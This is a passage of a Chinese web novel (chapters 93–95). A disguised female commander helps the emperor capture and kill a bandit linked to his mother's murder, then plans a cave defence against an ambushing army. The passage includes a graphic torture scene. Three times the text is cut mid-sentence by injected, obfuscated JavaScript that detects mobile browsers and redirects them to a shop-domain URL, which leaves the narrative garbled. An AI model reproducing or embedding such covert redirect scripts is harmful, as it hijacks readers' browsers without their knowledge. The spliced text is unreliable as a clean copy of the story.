冯简说一句,县令应一声,等他说完,连忙告退去做安排。 冯简又拿出一摞头像,分发下去。 除了曾指挥留守京城,在场的三位指挥,一人都分了二十几张。 姜六航随手一翻,全是同一人的头像,和冯简先前给县令看的那张相似,显见得是照着同一张图画下来的。 “请三位率着军士搜寻,找到此人。”冯简吩咐。 三人齐声应是。 冯简:“这是此人十年前的画像,如今容貌肯定有变化,你们要细细察看。” 十年前?那就是宣德二十三年。 那一年发生了太多的事。 姜六航看着画像中的人,满脸横肉,眼神凶狠,看上去三十多岁的样子。 大哥悄悄从裴佑军中出来,奔波几天来到这里,就是为了找这个人?大哥和他,有何渊源? “尽量活捉,伤残不论。”声音沉冷,如浸着寒霜。 姜六航循声望去,那人立在那里,面色冷峻,眼中翻腾着汹涌的浪潮,身上透出一股肃杀之气。 她蓦地恍然:画上这人,是大哥的仇人。 且劳动大哥亲自来捉拿,这仇非同一般。 十年前,莫非是…… “是!”耳边传来鲁、郑两位指挥响亮的回声,姜六航猛然回神,连忙跟着抱拳。 接下来的半天,姜六航等人拿着画像,在县令派来的人的带领下,挨门逐户地搜寻,那些容易藏人的废墟、桥洞等地更没放过。 当晚,军士们继续搜寻,分成上、下半夜两班,轮流休息。 第二天上午,姜六航带着一队军士把挨着的几家搜完,依旧毫无所获,出门来正好撞见郑大海带着军士从另一头过来。 “姜指挥,怎么样?你那边有啥发现没?” “没有。” “这龟孙子属耗子的?也太会躲了!”郑大海悻悻道,“这屁大点地方,都快掘地三尺了!难不成插翅膀飞了?咦,姜指挥,你看什么呢?” 姜六航盯着屋檐下的一缸水,缓缓道:“地上都找遍了,水里呢?” 郑大海一怔,面露茫然:“啊?” “盘云县里有一片大湖泊,还有池塘。” 郑大海终于明白姜六航的话意,连连摆手:“不可能,水里藏不了那么久,要频繁换气,早被我们发现了。” “可以用一根中空的管子伸到水面吸气。” “有气泡。” “选择泥沙浑浊,或者有茂密芦苇杆、枯荷茎秆的水域,以此为掩护,不易被察觉。还可用一个大的猪尿泡装满气,有人停留时,吸那里面储存的气,足以支撑更久,更不易暴露。” 郑大海惊异地瞪大眼,好一会儿才找回自己的声音:“可……可现在才二月,水还很冷,长时间在里面会冻死的。” 姜六航:“全身涂抹上厚厚的鹅油或鱼油,能一定程度隔绝冷水。” 郑大海这回嘴也张得大大的了,愣了片刻,猛地跳起来:“我们快去水里捉那龟孙子!” 半个时辰后,军士们从水中捞出了一个人,七手八脚地把他拖上岸,兴奋地嚷嚷着:“郑指挥、姜指挥,找到了!” 那人身上果然绑着一个大号的猪尿泡。 郑指挥啧啧称奇:“姜指挥,你怎么连这都懂?” 姜六航含糊道:“我也不知道怎么懂的,忽然就在脑子里出现了。”这是江湖上的逃命法子,御林军是行军打仗的好手,对这些旁门左道却不甚了解。 郑大海也没多想,注意力转到从水中捞出的人身上。他抓住那人的头发往后一扯,把那人的脸扯得向上,整个露了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090470|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,他另一只手拿着画像,来回对照。 “老了些,瘦了些,但眼睛、鼻子、嘴巴的轮廓都像。我觉得就是他。姜指挥,你看呢?” 姜六航:“我也觉得像。” 两人当即压着那人去县衙。 冯简把那人提入屋内,左、右卫将军守在门外。 姜六航和郑大海转身离开。 姜六航脚步磨蹭,走了好一会,也才走出短短的一段路。 “啊——!” 一声凄厉至极的惨叫猛地从屋内传出。 两人顿住脚步,面面相觑,郑大海咕哝道:“也不知这人犯下了什么事……” 接着传来的声音打断他的话。 “皇上!饶命!是寨主杀的,我只是山寨里的一个小喽啰,连娘娘的面都没见着……” 那声音重重地撞进姜六航脑海里,一时她耳畔嗡嗡作响。 是黑岩山的土匪! 大哥是为报母仇,才亲身追到这里来。 大哥现在心中该是何等难熬的滋味。 只有冯简在他身边。 可冯简视大哥为高高在上的主子,不会以朋友、兄弟的身份去安慰、陪伴他。如果她能抱着大哥,或许大哥会少伤心,少难过一些。可是,她就在这里,却不能走到大哥身边。 “姜指挥!我们快走,两位将军盯着我们呢!” 在郑大海压低的呼声中,姜六航咬紧嘴唇,艰难地迈步,机械地向前走去。 一步、两步。 她紧握着拳,指甲刺入掌心,随着郑大海走远,渐渐把那屋抛在身后。 —— 屋内,秦信把匕首刺入那人的肩上,眼中泛着血丝,语音森冷:“黑岩山只逃出你一个,多活了十年,就多受十刀吧。” 那人被绑在柱上,杀猪般地惨叫,不再哀求饶命,只求速死:“皇上!求你,给我个痛快吧!” 秦信不为所动,抽出匕首,又刺入他的大腿。 那人求死不得,大骂起来:“你个变态,不得好死!日后必有人,也让你尝尝这滋味!让你受千刀万剐、蚀骨挖心之痛!” 到得后来,连受几刀,他实在抵受不住,嘴里胡乱地叫着,时而痛骂,时而哀告:“我死后化成厉鬼,也要缠着你,扰得你日夜不安!我受够了!受够了!折腾了一个月,给个痛快吧!” 秦信手顿住,匕首停在空中:“什么一个月?” “追着我,猫捉老鼠,一个月……”那人说到这里,陡然察觉到不对,“那些不是你们的人?” 冯简神色惊疑,上前一步问道:“追着你的是些什么样的人?” 那人眼里生出一丝期盼:“我告诉你们,下一刀朝着我的心口扎吧!” 冯简偷瞄一眼,见皇上不置可否,于是朝那人喝道:“别磨蹭,说!” “我不知道他们什么样子,都蒙着面。一个月前,他们发现我的踪迹,我以为是你们的人,赶紧逃跑。一路上,他们好多次都可以捉住我,却不动手。” “他们现在人呢?盘云县没发现异常的人。” “到了这里后,他们就没现身了。我确定他们真的消失后,正准备出城,你们就来了。” 冯简还要再问,秦信反手一刀,刺入了那人心脏。 “皇上!”冯简惊惶不定地叫了一声。 秦信用布擦着匕首,冷声道:“这是专为我设的圈套,逼着他按着他们设定的路线走,把我引到这里。” 冯简只觉有一盆冰冷的寒水兜头淋下,整个人都冻住了。他脑中浮现出行过来时,三面环绕的山峰。 姜指挥说,进了这里,若遇敌袭,就犹如瓮中的鳖。 “皇上,我们赶快出去!” “来不及了。”秦信把匕首插入鞘中,握紧,那上面的纹路络进掌心,生生地疼,“把左、右卫将军和几个指挥叫来,商议迎敌。” 此生第二次陷入绝境,这回,却没有义弟从天而降,为他杀出一条生路了。 “管锋、沈以贵……”冯简顾不上皇帝在面前,大吼着,一阵风似的跑出去。 秦信目光不经意地落到绑在柱子上的人身上。 他浑身被血浸透,一双眼还瞪着,那里面凝固着一股怪异的快意,似乎临死前偿了什么心愿。 94. 第 94 章 “圈套?” “故意把我们引到这里?” 众人听冯简简短说明情况后,俱都骇然失色,顾不上去想是什么人一个月前就设下了这个圈套,怎会对朝廷的动态、皇上的心思都如此了解,立刻商讨起敌情及应对。 屋内,紧张的气氛弥漫,一声接一声如急遽的利箭射出。众人你一言我一语,个个面色绷得极紧,语气急促,往往一人语音未歇另一人已开口接上。 “是九叠县?” “不会,九叠县距此只有两个时辰的路程,要是他们,早到了。” “除了他们,哪里可聚集能敌三千御林军的人手?” 沈以贵铁青着脸,咬着牙从齿缝中吐出:“悬刃隘。” “不可能!”冯简满面不可置信,失声道,“悬刃隘的守将苏用从和州就跟着皇上,忠心耿耿,绝不会背叛皇上!” 左卫将军声音冷得像数九寒冰:“人心有变。” 鲁指挥也道:“再远了赶不及,困不住我们,只有悬刃隘距离最恰当,人数也足够。” 众人互相望一眼,对敌袭来源达成共识。 “至今我们还没接到报讯,必是沿途的岗哨被他们拔除了。苏用那贼子是铁骨军老将,对岗哨的掩饰、暗号再熟悉不过,一找一个准。”郑大海恨恨一掌击在桌上,把桌子拍得震了好几下。 这在御前是极不妥的举动,但此时他自己没意识到,别人也没在意,一心分析着眼前境况。 “进入盘云县之前,我们如果得到异动的消息,必会及时撤离,所以他们只能在确定我们进入盘云县之后行动,且要以最快的速度赶来。” “他们赶来需一天时间,我们是昨天午时进入盘云县,到今天午时,只有一个半时辰了。” 众人面上都透出绝望,不由得齐齐望向立在挂于墙上的盘云县地图前,凝视着图形,手上缓缓转动佛珠,一直未曾开言的人。 一个半时辰,三万军队将奔袭而来,盘云县破旧的城墙只是个摆设,根本阻拦不住。更令人绝望的是,无人知道他们被困在这里。短时间之内,他们等不到援兵。 该怎么护得皇上安好? 倘若皇上有失,他们便是那千古罪人,万死难辞其咎。 “岗哨处有信鸽,每日都与小裴国公通信。”秦信抬起头,面上无甚波澜,似乎这死亡危局并未激起他的什么情绪波动,只是目光扫过这些为了他要报私仇,随他一同陷入绝境的臣子们时,眼底深处闪过一丝痛惜与愧疚。 每天派人去岗哨传信这事是由冯简负责的,他立刻反应过来:“小裴国公今天收不到信,或会以为信鸽出现意外,但明天也未收到信时,定会察觉异常,率兵来援。” 众人脸上浮起一线希望,可转念一想,小裴国公明天出发,到这里有六天路程,那就是说,他们至少需要撑过七天。 就凭三千人?就凭那破败的城墙? 他们愿粉身碎骨,不流尽最后一滴血绝不倒下,他们愿挡在皇上面前,受千刀万剑绝不退缩。可纵使他们拼却性命,也万难拖延七天。 深深的绝望攫住了每一个人的心。 “小裴国公不会等到明天。”忽然一道清爽的语音响起。 众人循声望去,这才猛然意识到,屋内除了皇上先前一直未曾开言,还有一个人,也至始至终未曾发声—— 姜指挥。 她侧站在地图的另一侧,指尖轻轻抵在地图的边缘,转头过来,目视众人,神色沉毅。 在她转头、眼光流转的那一刹,秦信眸光蓦地缩紧,转动佛珠的手猛地顿住,紧捏得指节发白,眸中光芒翻涌。 这人转头的一幕,在他眼前一遍遍重放。 那站立和转身的姿势,那手指抵住地图的位置,那目视众人的表情,那在危局中镇定的神态,在另一人身上,他曾见过无数次,永烙心间。 望过来的冯简和沈以贵也是同时心中重重一震,脸上不由得变色。若不是姜指挥和皇上分站在地图两侧,没有挨在一起,姜指挥面容又和那人完全不同,他们几乎要以为旧日的情景重现眼前。 姜六航却没留意三人的神情,她脑中如风车般“呼呼”急转,思索着对敌之策,笃定地道:“裴佑遇大事向来决断迅速,今天这里的信讯中断,她不会等到明天,最迟今晚就会亲自率兵前来。” “姜指挥对小裴国公如此了解?” 犹疑的沉哑声入耳,姜六航这才发觉自己大意。裴佑贵为国公,自己却直呼其名,且刚才也没注意收敛举止,不知露出什么破绽没有。 但不能慌! 不可自乱阵脚! 得表现得毫无异样,让人看不清虚实。 何况,大哥只是在感觉上产生怀疑,但那桩桩“证据”,会拉回他的理智。 姜六航转眼,对上问话之人幽深的凤眸:“臣与小裴国公虽相识日浅,却一见如故,心照神交。臣可以保证,她今晚就会出兵。” “那就是六天后,二月初九的晚上,小裴国公能赶来此地?”鲁指挥急声问。 “对。”姜六航自然地把目光转向他,避开了那迫人的视线,“今天二月初三,我们坚持到二月初九晚上,小裴国公就来了。” 女子的侧颜沉静,让人想起风浪之中岿然不动的坚石,秦信在她微微颤动的眼睫上凝注片刻,垂眸,遮住里面的暗色。 “六天半……”郑大海握着拳,像使了全身的力气,面色都扭曲起来。 冯简等人的面色比他好看不了多少,个个咬着牙,瞪着眼。 有援兵,他们只需坚持六天半,比预想的要好。可其实,兵力悬殊太大,他们拼尽全力,也最多坚持一天。六天、七天并没有多大差别。 “我们来想一想,怎么撑过六天半。”姜六航却像一点没受到屋内悲伤、无望、愤怒这些情绪的影响,她脸上没有多余的表情,只专注于谋划退敌之策,声音很稳。 冯简颊上肌肉抽搐,哑声道:“我们就是拼了命,也只能挡住……一天。”一天和六天半,这之间的差距,无异于天堑。 其余人咬紧牙没出声,显然都认同冯简的话。他们不是只凭血气之勇的新兵,俱都久经沙场,对局势有精准判断。 “不能硬拼,先避一避。”姜六航手掌按上地图。 “往哪里避?盘云县屁大点的地方,不到一天就能搜出来。”郑大海说到这里,突然想起什么,眼睛一亮,“躲到水里……” 鲁指挥摇头:“水太冷,绝坚持不了六天。” 沈以贵沉沉道:“就是能坚持也不行,躲在水里的人多了易被发现,人少了……悬刃隘守军里未必没有和姜指挥一样想到一处的,一旦他们到水里搜寻,皇上身边的人少了,毫无还手之力,只能束手就擒。” 姜六航声音冷静:“我们躲到山上去。” 左卫将军脸色灰败地摇头:“我问过盘云县的人,山上大多是峭壁,上不去,余下的地势平缓,没什么能藏人的地方。而且他们肯定会强迫盘云县熟悉地形的人带路搜寻,藏不住的。” 姜六航快速地道:“我知道山上一个极隐蔽的山洞,当地人都不知晓,我们可以躲到那里面。” 众人愕然,目光齐齐聚焦于她身上,充满狂喜,仿佛落下悬崖时抓住了一根承载生机的藤曼。 冯简声音中含着显而易见的颤抖:“姜指挥,真有这样一个山洞?你……不是失忆了吗?” 余光里,大哥凤眸紧盯着自己,像要看透她的皮骨。姜六航只作未觉,道:“刚刚着急,突然就想起了这个山洞。好像是我来京的路上发现的。” 郑大海激动地接道:“是的是的,先前姜指挥也是突然想起藏在水中的法子。” 屋内如实质般粘稠的绝望骤然松散了些,凝滞的空气重新流动。 秦信忽然问道:“以姜指挥的估计,在那山洞里,可以躲藏多久?” 姜六航转了一下身子,正对着他,顶着那情绪不明的视线,恭声道:“那山洞虽隐秘,但悬刃隘有三万守兵,一处处地搜寻过去,以臣的估计,两天之内,他们必会发现那山洞。如果运气好,可以躲藏两天。” 冯简等人狂喜之后,又被浇了个透心凉。两天,根本无济于事。他们还以为那里足够隐蔽,可以等到小裴国公来。 “朕的运气一向不怎么好,”对面的声音中挟着不易察觉的讥诮,说到这里,却忽然顿了一下,喃喃低语道,“不,好过一次,他选了和州军……” 姜六航不明其意,不免微抬眼望过去,见对面人神情恍惚,似乎陷入了回忆,不禁心中纳罕。 大哥说着话,突然想起什么了? 秦信的失神只有短暂的一瞬,散乱的眸光很快聚拢,扫过来。姜六航倏地垂下眼皮,险之又险地避开了视线相触。 “只能躲两天,姜指挥为何提议去那山洞?” 再次开口时,秦信的声音比之前沙哑了几分,但姜六航和众人一样,一心都在即将到来的三万兵士,没注意到这点,她思索着道:“我们在山洞里布置好防线,被发现后,应该能抵挡三天半。” “三天半?”郑大海惊呼。 三千对三万,竟能相持三天半?简直不可思议到了极点。 但他知道姜指挥从不说大话,且自第一次在京城外的大校场,由姜指挥在高台上指挥,击败曾、鲁两位指挥后,他就对姜指挥的排兵布阵极为佩服,所以虽然震惊,却不怀疑她说话的真实性。姜指挥说三天半,那就不会短一个时辰。他算着:“山洞里躲两天,和他们打三天半,一共五天半。还差一天,怎么办?” 这个姜六航也有考虑。 三千人马出城的行踪隐藏不住,盘云县的人都看着。既然如此,就牵着苏用溜一圈。 “山洞在东山,我们先往别的方向,再悄悄绕到东山。” 众人立刻领会她的用意。 左卫将军拍手道:“好!” 鲁指挥:“苏用作战经验丰富,不会被迷惑太久。” 沈以贵:“一天就够了。” 众人振奋不已,姜六航却暗暗抿了抿唇。 最好的情况是三天后被发现,而一旦被发现,抵挡三天半是极限。三天、三天半,加起来六天半,正好是裴佑赶来需要的时间。也就是说,只有各方面的运气都达到顶点,不出一丝差错,才能坚持到救援到来。 可战场上各种因素都会影响战局,又哪能算得那样准呢? 女子表面神情泰然,秦信却不知为何,轻易从中看出了隐忧,他收回目光,眸光沉了沉,下令道:“即刻集合,上山。” “是!”冯简等人齐声答应,急匆匆地出门去安排。 姜六航正要随着众人一起出去,一道声音把她叫住。 “姜指挥,且慢。” 姜六航转身,恭敬地垂首:“皇上。” 一道目光在她的头顶停驻,带着审视和压迫。 姜六航忍不住想:大哥不会要逼问她吧? 譬如:你是几时到的这里?为何会往山上去?当时身旁是否有别的人?…… 但再一想,她又觉得不可能。当前情形万分紧急,大哥不是那样拎不清的人,纵有再多的疑虑,也不会在此时纠缠。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098151|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她想的没错,面前人再次开口时,丝毫没提旁的。 “姜指挥,应尚书数次对朕言,姜指挥军事才能卓绝,有大帅之才。这次防守的布置,由你负责,冯统领等人协助。” “是!臣一定竭尽全力!” “随朕来。” 出到屋外,秦信上马,由军士们簇拥着,出了县衙,朝南方急驰而去。三千人冲过街道,马蹄卷起一片灰尘。 姜六航在皇帝身旁,落后一个马头,她看着前方那人被风吹得向后鼓荡的玄色大氅,心中沉重。 大哥用人一向毫不迟疑,当年一手提拔武成,后又排除众议,授自己和州军大帅之位,今天,又越过御林军统领、左、右卫将军,把关系到生死的防守指挥权交给她。 这份责任沉如泰山。 可是,她根本没有把握撑到援兵到来。而为了稳定军心,她还不能把心中的焦虑表露出丝毫。 军队刚刚到达南山脚下,忽然一声啸响冲天,空中爆出显眼的红色烟雾,映入仰头望着的众人眼中。 “敌袭!” “是岗哨传的信号!” 众人惊呼,心沉到了谷底。 先前没见到敌踪,还盼着是一场虚惊,这信号让他们再无侥幸之心。 “走!”秦信一拉缰绳,黑影转而向东驰去。 众人紧紧跟上。 与此同时,离盘云山最近的一处御林军岗哨,苏用一刀劈下,把一个举手向天,手里紧握着筒口尚在冒烟的信号筒的军士砍翻在地,厉声喝道:“加快速度,午时前务必赶到盘云县。” “是!”悬刃隘守兵轰然应道,声震天地,鸟雀惊飞。 —— 巳时末,御林军赶达东山,姜六航带着军士们挪开杂草和荆棘掩盖后的一块巨石,进到其后的山洞。 左卫将军打量着洞口,道:“果真隐蔽,若不是姜指挥带路,一时真难以找到。” 郑大海接道:“能多躲些时间就好了。” 姜六航捏紧手指。 当年还不是帮主的童翼,被他的帮主堂兄逼到盘云县,带着亲信在这山洞里躲了七天。 可惜苏用比童翼的堂兄精明得多,人手也多得多,他们在这里躲不了那么久。苏用到了东山,最多两天就会搜到这山洞。 军队全部通过后,收尾的军士把痕迹扫除,把巨石和杂草荆棘小心地复原,重又掩盖住进口。 在洞里走了二十几米,忽然光线大亮,阳光倾洒下来。众人抬头望,上方洞壁露出一个个的大空隙,从那些空隙望出去,可见四周山壁峭立。若不是此时性命堪忧,众人说不得要欣赏一番此等奇景,感叹一番造物神奇。 地上长满了齐人高的草叶,军士们遵照姜指挥的吩咐,脸上蒙了布,手缩进袖子包住,避免肌肤和那些草叶接触。 所有人的脸都遮得严严实实,只在布上眼睛的位置开了两个洞便于视物,马匹也用布罩住。若有人看到他们这样诡异的装束,只怕要大大地吓一跳,以为遇到了土匪。 “姜指挥,小心。”郑大海在前隔着袖子拨开草丛,回头道,“快过来。” 等姜六航过去后,紧跟在后面的军士接手按住草丛,郑大海收回手。 “姜指挥,这草叶的毒气真那样大?会让人疼晕过去?”郑大海的声音从布下闷闷地传出来。 “嗯。”姜六航点头,“我亲眼见到过。若只沾染少量,或是沾上后及时用水洗去,只皮肤上起些红疹,不是很疼痛,但要是沾上的毒气多了,皮肤会溃烂,那疼痛和瘙痒,再硬气的人也受不住。” 她还记得当时那几个人的惨景。 因怕发出动静引来追踪的风雷帮帮众,那几人被绑在石柱上,不能挣扎,嘴里塞着布,也叫不出声,脸上溃烂成一片血肉模糊,扭曲着,双眼痛苦地瞪大,几乎要脱出眼眶。 那几人最后都疼晕了去。 郑大海敬畏地看着那些不起眼的草:“这是些什么草?刚才过来,在别处都没见到。” 姜六航猜测:“可能和气候、土质有关,这种草只在这里和另一头半山腰的洞口生长。” 沈以贵走在郑大海的前面,若有所思地看着军士们小心翼翼地避开草叶。他们本可以安排人先割掉这些草,这样走起来方便得多,也快得多,但姜指挥阻止了。 沈以贵回过头,隔着郑大海对姜六航道:“姜指挥想让苏用的人染上草毒?” 姜六航:“嗯,这是我们的第一道防线。” 是一道天然的、使人毫无察觉中招的防线。 可惜只能放倒一部分人。前面的人把草丛压倒后,跟在后面的人沾到草叶的机会就少了。 说话间,穿过草丛,光线暗下来,头顶上重又被山体严密遮挡住。 姜六航带领军士,开始争分夺秒地在洞内布置防线。 —— 将近午时,苏用带着悬刃隘守兵闯到县衙。 县令被拎过来,只吓得魂飞魄散。 “先前来的匪众往哪里去了?”苏用喝问。 县令哆哆嗦嗦地道:“南、往南去了!” 兵士们风卷残云般呼啸而去,马蹄声如雷震动大地。 县令抹了一把扑上脸的灰尘,心有余悸地抚胸。 匪众?那些人怎么都不像匪众啊,尤其是为首的,贵气非常,说是个皇亲国戚他都信。 算了算了,这不是他该想的。 都走了就好。 小小的盘云县供不起大菩萨。 县令急声喊着衙役:“去!快去!让人看好城门,别放可疑的人进来!” 95. 第 95 章 这是一个很长的山洞,时宽时窄,地面时陡时缓,一直向上通到半山腰。从另一头的洞口出来,再往前走上百来步,即到了陡峭的悬崖。 秦信等人站在崖边,向下望去,只见岩壁如刀削斧劈,山风从下卷起,吹得人衣袂翻飞。 这里将是他们的最后一道防线,或许,崖下就是他们的埋骨之所。 姜六航在洞内查看,根据地势布置防线。军士们脚步匆匆,有些搬运石头、横木到指定地点,有些在地上挖掘陷阱。 还有些用刀剑、锤子和石头凿着石柱底座,然后在凿出的缺口里塞入木材,点火燃烧,使石柱的岩石膨胀不均,然后掌握时机停下,让其不至完全断裂。 所有的防线都布置在洞里,出了洞是一片平途,只能以血肉之躯硬拼。 转眼到了夜晚,洞内燃起火把,驱散黑暗,军士们继续紧张地忙碌。 从巳时末进洞,将近五个时辰,姜六航一刻也没停歇地在洞内奔走,这时实在累了,也不拘地方,靠着洞壁坐下休息一会。 她轻拍着酸痛的腿脚。 亏得是这时,她吃下天心草已三个多月,身体逐渐好转,不像刚散功时那样虚弱,不然早倒下了。 也幸好,因为身体尚可,从庸叔叔被她劝住了,没跟着来陷入险境。 一个盛满水的竹筒忽然递到姜六航面前,打断了她的杂乱思绪。 姜六航顺着手臂看去,是一个十八九岁、浓眉大眼的军士,此时应该是轮到休息,也靠着山壁,正好在她的旁边。 年轻军士有些腼腆地笑着:“姜指挥,这水我没喝过,你解解渴。” 姜六航才发觉自己嘴唇干燥,很久没喝过水了。她接过来,道:“多谢。”仰头喝了好几口,干渴才稍稍缓解。 “姜指挥,苏用什么时候会搜到东山来?” 姜六航思忖片刻,坦言道:“明天吧。” “这么快。”军士声音里满是失望。 姜六航看着他年轻的面容,想到几天之后,这面容不知还否这样鲜活,不禁心中恻然。 “你多大了?”她问。 “十九岁。” “这么年轻就进了御林军。”姜六航看一眼他腰间挂着的剑,了然地道,“剑法很不错吧?” 军士脸上不自觉地现出骄傲,嘴上却谦虚道:“还行。” 姜六航一笑,又喝了口水,用手背抹了下嘴,问道:“家里干什么的?为什么来参军?” “我家祖上几辈子都是种田的,皇上建朝后,家里日子慢慢好了起来,攒了些银子,看我有学武的天赋,就把我送到武馆。我爹说,以前像我们这样没有靠山的人,学了武艺也只是替人卖命,有功劳也被别人抢了,现在却是能凭本事挣前程。”军士挺了挺胸,“我进御林军半年,现在是小队长了。” 姜六航喃喃道:“真好。” 日子慢慢好了起来。 能凭本事挣前程。 百姓们最朴素的愿望,不过如此。 那样一个乱世,在大哥的治下,逐渐有了盛世的雏形。 若是大哥有个好歹,其他人接手,大夏可还能迎来盛世?不,她该担心,她和同伴们浴血奋战创建的大夏可还能存续?那些制定的规则、法制,国家新的主人会否继续推行? 大约很难很难吧? 一些史无前例的制度——女子为官、平民百姓人权的极大保障……执权者没有强大的志愿和手腕,很难持续下去。 大哥不能死。 大夏需要大哥掌舵和镇慑。 她也舍不得大哥死。 想到大哥被刀剑加身,鲜血涌出的样子,她呼吸都滞住。 她自己也不想死。姜大人、王院长、从庸叔叔……还在等着她回去。纵使天心草不管用,她必须离开,在另一个世界,她也希望好好地活着,快乐地享受人生。 还有在沉眠的999,她死了,999也就消失了。系统才十二岁,这是系统的第一次任务。一个人造智能,却怀着赤诚之心,在她精神体要被卷入乱流之际,义无反顾地返回,冒着消亡的风险相救,她怎忍心让统最终得到这样一个结果? 还有面前这年轻的、满怀抱负的军士,以及这洞里的每一个人,他们肯定会拼命地保护皇帝,但他们定也盼着活下来。 可是,兵力如此悬殊,有什么办法呢? 寄希望于苏用三天后才找到这里? 年轻军士休息了一会,又去做事了。姜六航把喝完水的竹筒搁在地上,起身,寻人借了纸笔,举着一根火把往半山腰的洞口走去。 出洞时有军士见着她,要跟着保护,姜六航摆手道:“不用,我只在附近看看,你们做自己的事。” 军士想了想,这附近都探过一遍,没有外人,也无野兽,遇不到危险,于是打消了随行的念头。 姜六航走出洞,靠近洞口处也有那种毒草,但没另一头那段空地上的茂盛,很容易避开。走到离悬崖边四五步处,姜六航举着火把照了照周边,向右转身,沿着悬崖边线朝前头走去。直到听不见洞口的声音,她停下脚步,从怀中掏出一个哨子。 这哨子是方三送给她的,通体漆黑,泛着幽幽的光泽,摸上去有金属的质感,也不知是用什么材质制成的。 姜六航好奇,曾经试着吹过,却发现吹不出声音。 初时她以为哨子坏了,后来某一天,她忽然想起上辈子语文阅读课上看过的一篇科普文章,好像是说人只能听到某个范围内的声频,超过了或是没达到都听不到,而一些动物却能听到。 她不知道这哨子是哪一种情况。 观世音、玉皇大帝、如来佛……各路菩萨在上,保佑这哨子另有蹊跷,保佑小灰能来,保佑方三就在左近,保佑……一切顺利。 姜六航默默地念着,把哨子放入口中,吹起来。 上次吹的时候,她怕招来小灰,没用力,这回却是用了全部的力气。 一口气吐尽,她深吸一口气,又用力地吹起来。 悬崖边上,姜六航一手持着哨子,另一手举着火把,暖光投到她的脸庞,落下明明灭灭的影子,一双杏眼莹莹发亮,腮帮高鼓起。 换了一口又一口气。 不知过了多久,忽地,一道黑影从前方疾飞而来,落到姜六航身边的一块石头上。火光映照上它的身子才看清,那羽毛不是黑色,是灰色的,滚圆的黑色眼瞳反射出火把的光亮,歪着脑袋盯着姜六航,“啾啾”叫唤了一声。 是小灰! 小灰来了! 姜六航大喜,赶紧把手竖在唇边“嘘”了一声,道:“别叫!” 小灰摆了摆头,没再发出声音。 姜六航把火把固定在地上,掏出纸笔,将纸铺开在石头上,提笔一挥而就。她把纸包着小灰的腿卷成筒,再用准备好的细线绑好,之后摸了摸一直乖乖不动任她动作的小灰脑袋,轻声道:“去吧,把信给你的主人。” 小灰展翅,投向夜空。 直到那影子再看不见,姜六航取了火把往回走。 一路上,各种思绪在心中翻滚。 方三在何处?可能及时赶来?可能顺利搬来救兵? 这次传信可会留下暴露身份的隐患? 童帮主的寿宴,师父可会来? 此时姜六航已走到洞口附近,转过一棵树,火把照见三步外一丛茂密的草叶。她止步,目光幽幽地在那草叶上盘桓,一会后,朝那里走去。 到了草丛面前,她正弯下腰,忽地一声呼唤入耳:“姜指挥。” 是大哥的声音! 姜六航吓得心猛地一跳,“哎呦”一声,一头栽了下去。 “姜指挥!”随着冯简的惊叫,她的胳膊被飞跃而至的人拉住,接着眼前一阵旋转,被拉了起来,面前是冯简关心的脸,“姜指挥,你没事吧?没摔着哪里吧?” 姜六航站稳,定定神,往脸上一抹,拈下了几片叶子。 冯简放开她,拾起被甩到一旁的火把,一脚踏灭地上燃起的火苗,转眼看见姜六航手上的草叶,再往她刚才倒下的地方一瞧,正有一丛那据说能让铁打的人都受不住的草,不由得惊呼起来:“毒草!姜指挥,你碰到毒草了!碰到的地方多不多?” 姜六航:“……好像,很多地方都碰到了。” 冯简倒抽一口冷气:“啊?” “快去取水来。”十几步外传来声音。 “是!”冯简应道,顺手将火把靠放在一块岩石旁,飞身而去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102137|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “朕惊着姜指挥了?”那声音含着些歉意道。 一道身影缓步而来,在火光中渐渐清晰,披着玄色大氅,头戴帏帽。目光触到帏帽,姜六航心一紧,在刻意的观察下,很容易就发现这人僵硬的肩背,以及面庞避开火把的姿势。 心像被什么蛰了一下,生起细密的疼,姜六航努力稳住声音,道:“没有,不关皇上的事,是我脚下踏到了湿滑处。” 身影停在三四步外,隔着帏帽,视线凝注在她脸上。 姜六航屏住气,握紧拳头。 自从姜大人寿宴后,大哥一直有意地疏远她。到出京前,她和大哥只见过三次面,两次她都混在人堆里——年前的宫宴和新年元日的大朝拜,还有一次就是十几天前,她到御前陈情,争取随驾的机会。出京后,随驾左近,见面的时候倒是多了,但很多时候,大哥见着了她也只当没见着。 只在今天,不知哪里引起了大哥的怀疑,几次注目于她。 就如此时。 “姜指挥出去,是有什么事吗?” 姜六航早想好了借口,不慌不忙道:“臣在附近看看能否多布置几道防线。” “看得如何?” 此处地形姜六航十年前就已知晓,这会儿做出遗憾的样子道:“地势平缓,不利于防守。” 对面静了一瞬,道:“黑夜视物不清,以后姜指挥不要晚间独自出去,如果必得出去,让军士陪同。” 